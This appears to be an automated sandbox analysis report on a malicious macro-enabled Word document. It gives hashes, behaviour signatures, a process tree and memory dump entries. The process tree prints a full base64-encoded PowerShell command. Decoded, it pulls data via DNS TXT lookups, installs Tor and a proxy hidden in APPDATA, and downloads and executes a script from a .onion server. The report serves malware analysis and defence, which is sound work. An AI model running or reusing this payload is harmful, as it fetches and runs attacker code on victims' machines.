Analysis

  • max time kernel
    101s
  • max time network
    53s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2022 00:20

General

  • Target

    edb317932523d184a8df2f1789d12b6b5b5822f6e3555b5c43c3308960fe83af.docm

  • Size

    23KB

  • MD5

    a254766be363542d53257defd6831770

  • SHA1

    285ca55ea1894179baddf9dec20c461e6c2904e1

  • SHA256

    edb317932523d184a8df2f1789d12b6b5b5822f6e3555b5c43c3308960fe83af

  • SHA512

    53e9a28eef8ea59eca532b8a8bd488187d774de5a80ccbc16256f3920154ecf343d11484e8ec456512237d8d0c7d51b85d21e817371d2b16473d5293ca99496f

  • SSDEEP

    384:CTeaA7PV5+tCOKFuR46TAQR9PvTVgiX+0LQwG6F7//o4MAOIXRB6:3aAr+/KER4JY9PvRy0sjAOIXy

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edb317932523d184a8df2f1789d12b6b5b5822f6e3555b5c43c3308960fe83af.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -encodedcommand JwBsAFYAQgBqAFcAVwAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACcAagBOAFEATwBBAGkATQBNAGsAZABSACcAOwAnAGoAbQBxACcAOwAkAHcAdwBvACAAPQAgACgAZwBlAHQALQB3AG0AaQBvAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEADsAJwBTAGEAUgB0ACcAOwAnAEUAbABGAGUAWABPAHQAUQBqAHoAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAdwB3AG8AKQB7ADsAJwBRAGEAVgBkAEYARgBqAGoAJwA7ACcATQB0AHEAQgB1ACcAOwAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AaQBkACAAJABwAGkAZAApAC4ASwBpAGwAbAAoACkAOwAnAGMAdwAnADsAJwBPAE4AQgBHAFoAJwA7AH0AOwAnAFgAWAB6AHkARQB4AFAAeABGAGgAWQAnADsAJwBwAE0AZABTAEYASwBxAHIAdgBMAGEAJwA7ACcAWgBiAEUASwBiAFMAVQBoACcAOwAnAHgAagBwAFoAZQBZAEQAdgAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAcQB6AGEAKQB7ADsAJwBiAEcAYQBMAEEATABuAE0AdwAnADsAJwBFAE4AeABMAFQASwBkAGoAJwA7ACQAbwByAG8AdAAgAD0AIAAoACgAKABpAGUAeAAgACIAbgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJABxAHoAYQAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAOwAnAFoAdQBpAEEAegBaAFQAJwA7ACcASQBuACcAOwAkAGIAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABvAHIAbwB0ACwAIAAkAGEAaQApADsAJwBQAFIAQwBMAEkARgBWAFEASAAnADsAJwBjAFYAJwA7ACQAZgBpACAAPQAgACQAZgBqAHgALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAYQBpACkALgBJAHQAZQBtAHMAKAApADsAJwBjAG0AQgBsAGsAaQBVAFcAJwA7ACcAcABKAHMAYgBXAGYAbABPAEEAUQAnADsAJABmAGoAeAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB6AHUAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGkALAAgADIAMAApADsAJwBmAEwARwB6AFcAJwA7ACcAcQBhACcAOwByAGQAIAAkAGEAaQA7ACcASQB0AHAASwAnADsAJwBnAEEAYwB4AFEAbwBrAGoAYgBkAHEAJwA7AH0AOwAnAGQAZgBiAFcAcQBMAHQAJwA7ACcAcAB5AGkAQgBKAEcAUAByAHMAJwA7ACcAUwBIAHIAZQBEAHIAcQBzAGwARwBPACcAOwAnAGIAbQBYAGoAbABHAGsAUABOAE8AVwAnADsAJwB2AEwAYgAnADsAJwB0AEgAWgBGAEcARgBFAFYAUwAnADsAJAB6AHUAaQAgAD0AIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAJwAgACsAIAAkAHcAdwBvADsAJwBRAEYAWQBhAEUAYgBZAFUAJwA7ACcAVgB5AGIASwB4AFkASQBTAFYAVgAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAdQBpACkAKQB7ADsAJwBsAGEAcwB4AGcAJwA7ACcAVwBVAGQASwBIAFkAJwA7ACQAagBuAGoAIAA9ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJAB6AHUAaQA7ACcAVwBTAEIATgB6AHIAUQBXAFIAcAAnADsAJwBPAG0AcgBMAEoAUwBDAGMAcwBiACcAOwAkAGoAbgBqAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAiAEgAaQBkAGQAZQBuACIALAAgACIAUwB5AHMAdABlAG0AIgAsACAAIgBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAIgA7ACcAQQBWAEsAdAAnADsAJwBYAHoAUQBTAEMAJwA7AH0AOwAnAGMAcwBQAHAATAB6ACcAOwAnAEcAcQBBACcAOwAnAFgAVQBOAGMAUgBzACcAOwAnAHUAYQBkAFoAcwAnADsAJABmAGsAegA9ACQAegB1AGkAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAGMAdABBAFUAUwAnADsAJwBuAGQARABkAFcAbABpAFoAdgAnADsAJABzAHoAZQBvAD0AJAB6AHUAaQArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcAYwBDACcAOwAnAHYATQB0AFoAawAnADsAJABhAGkAPQAkAHoAdQBpACsAJwBcACcAKwAkAHcAdwBvACsAJwAuAHoAaQBwACcAOwAnAGsAcgBLAHkARQBqAGgAcwAnADsAJwBKAHIAaQB4AHkAdwAnADsAJABiAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBxAGcAbABvAEgAdgBmAGoAJwA7ACcAawBtAE4AVwBCAFoAdwBhAEEAUgAnADsAJABmAGoAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAFgAWQBMAEkAawBRACcAOwAnAFoATwBVAHUAJwA7ACcAWQBFAEoARgAnADsAJwBOAFkAQwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcASABrAHUATgBEAEcAWgBqAHgAUABOACcAOwAnAHoATgBPAGIAaQBwAGEAbQBDAFQAJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkAbgAuAGQAZQAnADsAJwBsAGMATgBSAG4AcwByAEwAegBuAEcAJwA7ACcASgBlAEkARABQAGsAVQBQAGMAYQBNACcAOwB9ADsAJwBQAGMAYwB3AE0AcQBtAGoASQByACcAOwAnAEwAYwBqACcAOwAnAFIAUwBkAGMAYgBCAGQAcgBXACcAOwAnAEsAdABXAFoASQBkAE0AbwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcAZQBVAFIAUAB0AEUAZAAnADsAJwBxAEEAbwBIACcAOwBlACAAJwBnAGcALgBpAGIAaQB6AC4AYwBjACcAOwAnAEMAawBqAEsAJwA7ACcASAByAEwAcgAnADsAfQA7ACcAQgBEAG8AJwA7ACcAZABoAFYAWQBSAHUAZgBPACcAOwAnAHEAVAB0AFIAJwA7ACcAdwBXAEgATgByAHkAJwA7ACQAdwBjAD0AJAB6AHUAaQArACcAXAByAG8AYQBtAGkAbgBnAGwAbwBnACcAOwAnAHgAUABRAGcASwAnADsAJwBhAEYAZwBsACcAOwBzAGEAcABzACAAJABmAGsAegAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAHcAYwBgACIAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAHMASAAnADsAJwBxAHYAawBXAGcAUQBGAE4AJwA7AGQAbwB7AHMAbABlAGUAcAAgADEAOwAkAGwAbAA9AGcAYwAgACQAdwBjAH0AdwBoAGkAbABlACgAIQAoACQAbABsACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBKAHoASgB0AHcAYQBvAHgAbwBkACcAOwAnAGYAbQBMAGkAYgBOAEQAUQBYAGkAVAAnADsAcwBhAHAAcwAgACQAcwB6AGUAbwAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcATQBNAEwAQgAnADsAJwBQAEIAJwA7AHMAbABlAGUAcAAgADcAOwAnAHIAbQB0ACcAOwAnAFUARwBZAFoAbwBIAGEAUAByAEkARAAnADsAJABsAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACIAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACIAKQA7ACcAbQBqAGUAQQBxAFUAJwA7ACcASABoAFYAegAnADsAJABsAGYALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEUAbwB3AGoAbABpAGIASQBpAGkAeQAnADsAJwBKAG8AegAnADsAJABiAHAALgBwAHIAbwB4AHkAPQAkAGwAZgA7ACcAdABRAG0AbAB5AHgAZwBTAHEATAAnADsAJwBPAFAAWQBBAHUARQBwAGkAcwBBAHoAJwA7ACQAbwB4AHEAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAdQBpAGQAPQAnACAAKwAgACQAdwB3AG8AOwAnAEwAYwBPACcAOwAnAFkAegBUAHkAQQBMAFAAJwA7AHcAaABpAGwAZQAoACEAJABjAGwAKQB7ACQAYwBsAD0AJABiAHAALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAkAG8AeABxACkAfQA7ACcAbABNAEIAJwA7ACcARgBRAFEAcABKAG4AQQAnADsAaQBmACAAKAAkAGMAbAAgAC0AbgBlACAAJwBuAG8AbgBlACcAKQB7ADsAJwBUAEsATgBUAG8AJwA7ACcASQBOACcAOwBpAGUAeAAgACQAYwBsADsAJwBQAGkATQAnADsAJwBKAGUAeQBsAGUAZgAnADsAfQA7ACcASgBpAG8AawBLAEsAJwA7AA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Windows\SysWOW64\nslookup.exe
        "C:\Windows\system32\nslookup.exe" -querytype=txt i.vankin.de 8.8.8.8
        3⤵
          PID:1824
        • C:\Windows\SysWOW64\nslookup.exe
          "C:\Windows\system32\nslookup.exe" -querytype=txt gg.ibiz.cc 8.8.8.8
          3⤵
            PID:1708
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:2008

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1120-59-0x0000000000000000-mapping.dmp

        • memory/1120-64-0x0000000004C90000-0x00000000051C6000-memory.dmp

          Filesize

          5.2MB

        • memory/1120-63-0x000000006A510000-0x000000006AABB000-memory.dmp

          Filesize

          5.7MB

        • memory/1120-61-0x000000006A510000-0x000000006AABB000-memory.dmp

          Filesize

          5.7MB

        • memory/1520-58-0x0000000070D5D000-0x0000000070D68000-memory.dmp

          Filesize

          44KB

        • memory/1520-54-0x00000000722F1000-0x00000000722F4000-memory.dmp

          Filesize

          12KB

        • memory/1520-57-0x0000000074D61000-0x0000000074D63000-memory.dmp

          Filesize

          8KB

        • memory/1520-62-0x0000000070D5D000-0x0000000070D68000-memory.dmp

          Filesize

          44KB

        • memory/1520-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1520-55-0x000000006FD71000-0x000000006FD73000-memory.dmp

          Filesize

          8KB

        • memory/1520-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1520-70-0x0000000070D5D000-0x0000000070D68000-memory.dmp

          Filesize

          44KB

        • memory/1708-66-0x0000000000000000-mapping.dmp

        • memory/1824-65-0x0000000000000000-mapping.dmp

        • memory/2008-67-0x0000000000000000-mapping.dmp

        • memory/2008-68-0x000007FEFB801000-0x000007FEFB803000-memory.dmp

          Filesize

          8KB